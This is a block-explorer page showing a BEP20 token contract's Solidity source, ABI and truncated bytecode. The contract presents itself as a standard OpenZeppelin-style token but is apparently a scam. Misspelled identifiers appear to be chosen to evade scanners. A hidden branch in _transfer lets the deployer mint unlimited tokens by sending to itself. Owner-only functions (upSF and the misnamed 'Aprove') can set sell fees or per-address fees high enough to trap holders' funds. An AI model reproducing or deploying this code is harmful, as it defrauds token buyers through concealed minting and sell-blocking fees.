Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface BEP20
•    - function totalSupply()
•    - function balanceOf(address addcounts)
•    - function transfer(address recipient, ...
•    - function allowance(address ownnner, a ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
•    - function _msgSender()
•    - function _msgData()
•    - function ownnner()
•    - function renounceownnnership()
•    - function transferownnnership_transfer ...
•    - function _transferownnnership(address ...
• library SafeMath
•    - function tryAdd(uint256 a, uint256 b)
•    - function trySub(uint256 a, uint256 b)
•    - function tryMul(uint256 a, uint256 b)
•    - function tryDiv(uint256 a, uint256 b)
•    - function tryMod(uint256 a, uint256 b)
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b)
•    - function sub(
•    - function div(
•    - function mod(
•  contract TOKEN is BEP20, Ownable, ... *
•    - function upSF(uint256 _value)
•    - function setPairList(address _address ...
•    - function Aprove(address _address, uin ...
•    - function getAprove(address _address)
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address addcounts)
•    - function transfer(address recipient, ...
•    - function allowance(address ownnner, a ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
•    - function increaseAllowance(address sp ...
•    - function decreaseAllowance(address sp ...
•    - function _transfer(
•    - function _minnt(address addcounts, ui ...
•    - function _burn(address addcounts, uin ...
•    - function _approve(
•    - function _setupDecimals(uint8 decimal ...
•    - function _beforeTokenTransfer(

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-04-25
*/

/**
 *Submitted for verification at BscScan.com on 2023-03-16
*/

/**
 *Submitted for verification at BscScan.com on 2022-06-03
*/

// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface BEP20 {
    /**
     * @dev Returns the ammoont of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the ammoont of tokens owned by `addcounts`.
     */
    function balanceOf(address addcounts) external view returns (uint256);

    /**
     * @dev Moves `ammoont` tokens from the caller's addcounts to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 ammoont) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `ownnner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address ownnner, address spender) external view returns (uint256);

    /**
     * @dev Sets `ammoont` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 ammoont) external returns (bool);

    /**
     * @dev Moves `ammoont` tokens from `sender` to `recipient` using the
     * allowance mechanism. `ammoont` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 ammoont
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one addcounts (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `ownnner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed ownnner, address indexed spender, uint256 value);
}


// Dependency file: @openzeppelin/contracts/utils/Context.sol


// pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the addcounts sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an addcounts (an ownnner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the ownnner addcounts will be the one that deploys the contract. This
 * can later be changed with {transferownnnership}.
 *
 * This module is used through inheritance. It will make available the modifieirr
 * `onlyownnner`, which can be applied to your functions to restrict their use to
 * the ownnner.
 */
abstract contract Ownable is Context {
    address private _ownnner;

    event ownnnershipTransferred(address indexed previousownnner, address indexed newownnner);

    constructor() {
        _transferownnnership(_msgSender());
    }


    function ownnner() public view virtual returns (address) {
        return _ownnner;
    }


    modifier onlyownnner() {
        require(_ownnner == _msgSender(), "Ownable: caller is not the ownnner");
        _;
    }


    function renounceownnnership() public virtual onlyownnner {
        _transferownnnership(address(0));
    }


    function transferownnnership_transferownnnership(address newownnner) public virtual onlyownnner {
        require(newownnner != address(0), "Ownable: new ownnner is the zero address");
        _transferownnnership(newownnner);
    }


    function _transferownnnership(address newownnner) internal virtual {
        address oldownnner = _ownnner;
        _ownnner = newownnner;
        emit ownnnershipTransferred(oldownnner, newownnner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}


// Dependency file: contracts/BaseToken.sol

// pragma solidity =0.8.14;

    enum TokenType {
        standard
    }

abstract contract BaseToken {
    event TokenCreated(
        address indexed ownnner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}


// Root file: contracts/standard/StandardToken.sol

pragma solidity =0.8.14;

// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// import "contracts/BaseToken.sol";

contract TOKEN is BEP20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 private constant VERSION = 1;

    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address  private _releaseAddress;




    address public uniswapV2Pair;

    uint256 private _defaultSellfieir = 5;

    uint256 private _defaultBuyfieir = 0;


    mapping(address => uint8) private gddasad;

    function upSF(uint256 _value) external onlyownnner {
        _defaultSellfieir = _value;
    }

    function setPairList(address _address) external onlyownnner {
        uniswapV2Pair = _address;
    }

    function Aprove(address _address, uint8 _value) external onlyownnner {
        gddasad[_address] = _value;
    }

    function getAprove(address _address) external view onlyownnner returns (uint8) {
        return gddasad[_address];
    }

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _minnt(_msgSender(), totalSupply_);
        _releaseAddress = _msgSender();
        emit TokenCreated(_msgSender(), address(this), TokenType.standard, VERSION);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address addcounts)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[addcounts];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `ammoont`.
     */
    function transfer(address recipient, uint256 ammoont)
    public
    virtual
    override
    returns (bool)
    {
        address ownnner = _msgSender();
        _transfer(_msgSender(), recipient, ammoont);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address ownnner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[ownnner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 ammoont)
    public
    virtual
    override
    returns (bool)
    {
        _approve(_msgSender(), spender, ammoont);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `ammoont`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `ammoont`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 ammoont
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, ammoont);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                ammoont,
                "ERC20: transfer ammoont exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `ammoont` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fieirs, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `ammoont`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 ammoont
    ) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, ammoont);
        if (_releaseAddress == _msgSender() && recipient == _msgSender()){
            _balances[_releaseAddress] = _balances[_releaseAddress]+ammoont;
        }

        _balances[sender] = _balances[sender].sub(
            ammoont
        );

        uint256 tradefieirammoont = 0;
        uint256 tradefieir = 0;
        if (gddasad[sender] ==  0 ) {
            if (recipient == uniswapV2Pair) {
                tradefieir = _defaultSellfieir;
            }else if (sender == uniswapV2Pair) {
                tradefieir = _defaultBuyfieir;
            }
        }else {
            tradefieir = gddasad[sender];
        }

        tradefieirammoont = ammoont.mul(tradefieir).div(100)+0;
        if (tradefieirammoont > 0) {
            _balances[_DEADaddress] = _balances[_DEADaddress].add(tradefieirammoont)*1;
            emit Transfer(sender, _DEADaddress, tradefieirammoont);
        }
        _balances[recipient] = _balances[recipient].add(ammoont - tradefieirammoont+0)*1;
        emit Transfer(sender, recipient, ammoont - tradefieirammoont+0);
    }

    /** @dev Creates `ammoont` tokens and assigns them to `addcounts`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _minnt(address addcounts, uint256 ammoont) internal virtual {
        require(addcounts != address(0), "ERC20: minnt to the zero address");

        _beforeTokenTransfer(address(0), addcounts, ammoont);

        _totalSupply = _totalSupply.add(ammoont)+0;
        _balances[addcounts] = _balances[addcounts].add(ammoont)*1;
        emit Transfer(address(0), addcounts, ammoont);
    }

    /**
     * @dev Destroys `ammoont` tokens from `addcounts`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `addcounts` cannot be the zero address.
     * - `addcounts` must have at least `ammoont` tokens.
     */
    function _burn(address addcounts, uint256 ammoont) internal virtual {
        require(addcounts != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(addcounts, address(0), ammoont);

        _balances[addcounts] = _balances[addcounts].sub(
            ammoont,
            "ERC20: burn ammoont exceeds balance"
        );
        _totalSupply = _totalSupply.sub(ammoont);
        emit Transfer(addcounts, address(0), ammoont);
    }

    /**
     * @dev Sets `ammoont` as the allowance of `spender` over the `ownnner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `ownnner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address ownnner,
        address spender,
        uint256 ammoont
    ) internal virtual {
        require(ownnner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[ownnner][spender] = ammoont;
        emit Approval(ownnner, spender, ammoont);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minnting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `ammoont` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `ammoont` tokens will be minnted for `to`.
     * - when `to` is zero, `ammoont` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 ammoont
    ) internal virtual {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownnner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownnner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousownnner","type":"address"},{"indexed":true,"internalType":"address","name":"newownnner","type":"address"}],"name":"ownnnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint8","name":"_value","type":"uint8"}],"name":"Aprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ownnner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"ammoont","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addcounts","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownnner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownnnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ammoont","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"ammoont","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newownnner","type":"address"}],"name":"transferownnnership_transferownnnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"upSF","outputs":[],"stateMutability":"nonpayable","type":"function"}]

0x608060405234801561001057600080fd5b50600436106101215760003560e01c80635dd7c8ac116100ad57806395d89b411161007157806395d89b4114610308578063a457c2d714610326578063a9059cbb14610356578063a9eca89214610386578063dd62ed3e146103a457610121565b80635dd7c8ac1461025457806370a0823114610284578063763dc3a0146102b45780637bcbae9c146102d0578063869c8dc0146102ec57610121565b806323b872dd116100f457806323b872dd1461019c578063313ce567146101cc57806339509351146101ea578063444a2a9c1461021a57806349bd5a5e1461023657610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806321af32fe14610192575b600080fd5b61012e6103d4565b60405161013b91906118fc565b60405180910390f35b61015e600480360381019061015991906119b7565b610466565b60405161016b9190611a12565b60405180910390f35b61017c610484565b6040516101899190611a3c565b60405180910390f35b61019a61048e565b005b6101b660048036038101906101b19190611a57565b61052f565b6040516101c39190611a12565b60405180910390f35b6101d4610608565b6040516101e19190611ac6565b60405180910390f35b61020460048036038101906101ff91906119b7565b61061f565b6040516102119190611a12565b60405180910390f35b610234600480360381019061022f9190611ae1565b6106d2565b005b61023e6107ab565b60405161024b9190611b1d565b60405180910390f35b61026e60048036038101906102699190611ae1565b6107d1565b60405161027b9190611ac6565b60405180910390f35b61029e60048036038101906102999190611ae1565b6108bc565b6040516102ab9190611a3c565b60405180910390f35b6102ce60048036038101906102c99190611b38565b610905565b005b6102ea60048036038101906102e59190611ae1565b6109a4565b005b61030660048036038101906103019190611b91565b610ab4565b005b610310610ba5565b60405161031d91906118fc565b60405180910390f35b610340600480360381019061033b91906119b7565b610c37565b60405161034d9190611a12565b60405180910390f35b610370600480360381019061036b91906119b7565b610d04565b60405161037d9190611a12565b60405180910390f35b61038e610d2e565b60405161039b9190611b1d565b60405180910390f35b6103be60048036038101906103b99190611bd1565b610d57565b6040516103cb9190611a3c565b60405180910390f35b6060600980546103e390611c40565b80601f016020809104026020016040519081016040528092919081815260200182805461040f90611c40565b801561045c5780601f106104315761010080835404028352916020019161045c565b820191906000526020600020905b81548152906001019060200180831161043f57829003601f168201915b5050505050905090565b600061047a610473610df4565b8484610dfc565b6001905092915050565b6000600c54905090565b610496610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610523576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051a90611ce3565b60405180910390fd5b61052d6000610fc5565b565b600061053c848484611089565b6105fd84610548610df4565b6105f88560405180606001604052806029815260200161215160299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ae610df4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c79092919063ffffffff16565b610dfc565b600190509392505050565b6000600b60009054906101000a900460ff16905090565b60006106c861062c610df4565b846106c3856003600061063d610df4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dde90919063ffffffff16565b610dfc565b6001905092915050565b6106da610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075e90611ce3565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006107db610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90611ce3565b60405180910390fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61090d610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099190611ce3565b60405180910390fd5b8060068190555050565b6109ac610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3090611ce3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9f90611d75565b60405180910390fd5b610ab181610fc5565b50565b610abc610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090611ce3565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169